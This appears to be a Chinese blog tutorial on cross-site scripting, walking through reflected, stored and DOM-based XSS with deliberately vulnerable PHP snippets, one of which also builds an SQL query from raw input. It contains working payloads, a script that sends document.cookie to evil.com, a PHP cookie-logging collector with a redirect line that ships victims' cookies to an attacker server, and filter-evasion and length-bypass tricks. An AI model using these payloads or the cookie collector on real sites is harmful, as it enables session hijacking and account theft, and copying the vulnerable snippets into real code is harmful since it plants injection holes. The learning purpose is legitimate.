天天看点

结合代码对xss基础的学习

前言:有人曾经说过,XSS之所以那么流行,就是因为每个网站,包括Google、Microsoft等,都会存在XSS漏洞!之前对XSS这块“肥肉”只是了解,没有系统的学习一下。趁着暑假赋闲,来系统的剖析一下这块‘肥肉’。

0x01 xss基础

  • Cross Site Script
  • For web client
  • 来源于js / ActiveX / Flash …

js xss使用场景

  • 直接嵌入html:

    <script>alert(/xss/);</script>

  • 元素标签事件:

    <body onload=alert(/xss/)>

  • 图片标签:

    <img src="javascript:alert(/xss/);">

  • 其他标签:

    <iframe>,<div>, and <link>

  • DOM对象,篡改页面内容

XSS根据效果不同可分为以下几类:

  1. 反射型XSS
  2. 存储型XSS
  3. DOM Based XSS 通过修改DOM节点形成的XSS
易用性:2>3>1
1 2 3 4 5 6 7 8 9 10 11

<?php

error_reporting

(0);

$text

=

$_GET

[

'name'

];

?>

<input type=

"text"

id=

"text"

value=

"<?php echo $text ?>"

/>

Payload:?name="><img%20src=1%20onerror=%27alert(1)%27>

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23

<?php

error_reporting

(7);

$name

=

$_GET

[

'name'

];

$conn

= mysql_connect(

"127.0.0.1"

,

"root"

,

"5688"

);

mysql_select_db(

"test"

,

$conn

);

mysql_query(

'set names "utf8"'

);

$sql_insert

=

"insert into liuyan(content) values('$name')"

;

$result

= mysql_query(

$sql_insert

,

$conn

);

$sql_select

=

"select * from liuyan"

;

$results

= mysql_fetch_array(mysql_query(

$sql_select

));

echo

$results

[content];

?>

Step 1: ?name=<scRipt>Alert(1)</scrIpt>

Step 2: result

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18

<?php

error_reporting

(0);

$name

=

$_GET

[

'name'

];

?>

<input id=

"text"

type=

"text"

value=

"<?php echo $name ?>"

/>

<div id=

"print"

></div>

<script>

var

text = document.getElementById(

'text'

);

var

print

= document.getElementById(

'print'

);

print

.innerHTML = text.value;

</script>

Payload: ?name=<img%20src=1%20onerror=%27alert(1)%27>

0x02 XSS Payload

xss攻击成功后,攻击者能够对用户当前浏览器的页面植入恶意脚本,进而控制用户浏览器。这些恶意脚本,被称为"XSS Payload"
Cookie劫持
1 2 3 4 5 6 7 8

http://www.a.com/test.php?abc="><script src =http://evil.com/evil.js></script>

evil.js content:

var img = document.createElement("img");

img.src = "http://www.evil.com/log?"+escape(document.cookie);

document.body.appendChild(img);

PS:log不一定要存在,因为在日志中会记录下这个过程

上面演示的就是最基本的xss 劫持Cookie的过程, 当你拿到用户cookie后,怎么用它登录服务器呢?在这个过程,方法很多,这里有两种方法:

  • Burpsuit proxy 修改cookie
  • Firefox 插件 Data Tamper 截断请求修改cookie

php XSS Cookie require

1 2 3 4 5 6 7 8 9

<?php

$cookie

=

$_GET

[

'c'

];

$ip

=

getenv

(

'REMOTE_ADDR'

);

$time

= data(

"j F, Y, g:i a"

);

$referer

=

getenv

(

'HTTP_REFERER'

);

$fp

=

fopen

(

'cookie.txt'

,

'a'

);

fwrite(

$fp

.

'Cookie: '

.

$cookie

.

'<br/> IP: '

.

$ip

.

'<br> Data and Time: '

.

$time

.

'<br>Referer: '

.

$referer

.

'<br><br>'

);

fclose(

$fp

);

?>

将上述保存到自己服务器上,1.php

然后在XSS处写入:

1

<

script

>document.location="http://your server/1.php?c="+document.cookie;</

script

>

构造GET与POST请求
XSS钓鱼
识别用户浏览器
识别用户安装软件
CSS History Hack
获取用户真实IP

0x03 XSS 攻击平台

  • Attack API
  • BeEF
  • XSS-Proxy

0x04 XSS Worm

0x05 XSS构造技巧

最最基本的构造技巧是“闭合标签”,
利用字符编码

这里首先看下道哥在《白帽子讲web安全》一书中讲到的一种情况,就是当web页面编码方式为gbk/gb2312时,针对“%c1\”绕过系统转义“的情况……

其次就是各种加密了

URL编码 unicode编码 HTML编码

HTML编码的存在就是让他在代码中和显示中分开, 避免错误。他的命名实体:构造是&加上希腊字母,字符编码:构造是&#加十进制、十六进制ASCII码或unicode字符编码,而且浏览器解析的时候会先把html编码解析再进行渲染。但是有个前提就是必须要在“值”里,比如属性src里,但却不能对src进行html编码。不然浏览器无法正常的渲染。

1

<

img

src=&#108;&#111;&#103;&#111;&#46;&#112;&#110;&#103;/>

CSS编码

斜杠/加上1-6位16进制数

常见绕过方式

1 2 3 4

<

sCript

>alert(1)</

scRipt

>

<

script

%20src%3D"http%3A%2F%2F0300.0250.0000.0001"><%2Fscript>

<

scr

<script>rip>alalertert</

scr

</script>rip> (需要利用waf的不完整性)

<

script

>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 39, 120, 115, 115, 39, 41))</

script

>

绕过长度限制
1 2

<

input

type

=

"text"

value

=

"$var"

/>

length($var)<=20

方法一:通过事件缩短payload

1

"onclick=alert(1)//

方法二:使用location.hash 加载xss payload

1 2 3 4 5 6 7 8 9

Payload:   " onclick="eval(location.hash.substr(1))

<

input

type

=

"text"

value

=

""

onclick

=

"eval(location.hash.substr(1))"

/>

location.hash的第一个字符为#

则 http://www.a.com/test.html#alert(1) 产生效果

location.hash本身没有长度限制,而浏览器URL有,在这个范围内都是可以的。

方法三:利用注释符绕过长度限制

1 2 3

有两个输入框,第一个有限制,第二个没有长度限制,则可以通过注释符打通两个注释框之间的部分:

input1#value: "><!--

input2#value: --><script>alert(/xss/);<script/>

使用标签

标签在html中的作用是为所有使用相对路径的链接提供其实地址。

这个过程是可以被利用的,假设可以在页面某处插入base标签,并在自己服务器上伪造payload相应的图片等链接,则可以达到攻击效果

1

<

base

herf

=

"http://www.evil.com/"

/>

window.name妙用

可以利用此实现跨域效果

1 2 3 4 5 6 7

a.com中,

window.name=test

location.href="http://www.b.com/xss.php"

b.com中,加入

document.domain + window.name

即可轻松实现从a->b的跨越

0x06 一些奇葩的攻击手法

第三方劫持(外调J/C)
简单的讲就是去看你的目标站点引用了哪些外部站点js/css/swf/等,然后再入侵相应的外站,进而修改js/css/swf 达到xss的实现效果,采用“迂回式”的渗透方式

这里引用“长短短”写的一个获取非本站的J/C代码:

1 2 3 4 5 6 7

for

(

var

i=0,tags=document.querySelectorAll(

'iframe[src],frame[src],script[src],link[rel=stylesheet],object[data],embed[src]'

),tag;tag=tags[i];i++){

var

a = document.createElement(

'a'

);

a.href = tag.src||tag.href||tag.data;

if

(a.hostname!=location.hostname){

console.warn(location.hostname+

' 发现第三方资源['

+tag.localName+

']:'

+a.href);

}

}

只需在浏览器Console执行这段代码即可

0x07 JavaScript开发框架XSS

JQuery

JQuery里面有个html()方法,这个方法如果没有参数,就会读取一个DOM节点的innerHTML;如果有参数,则会把参数值写入该DOM节点的innerHTML中。这个过程可能产生“DOM Based XSS”

1

$(

'div.demo-contaioner'

).html(

"<img src=# onerror=alert(1) />"

);

此外,其他一些例如 Dojo / YUI本身就存在XSS漏洞。

https://www.ohlinge.cn/web/xss.html

转载于:https://www.cnblogs.com/amliaw4/p/5992165.html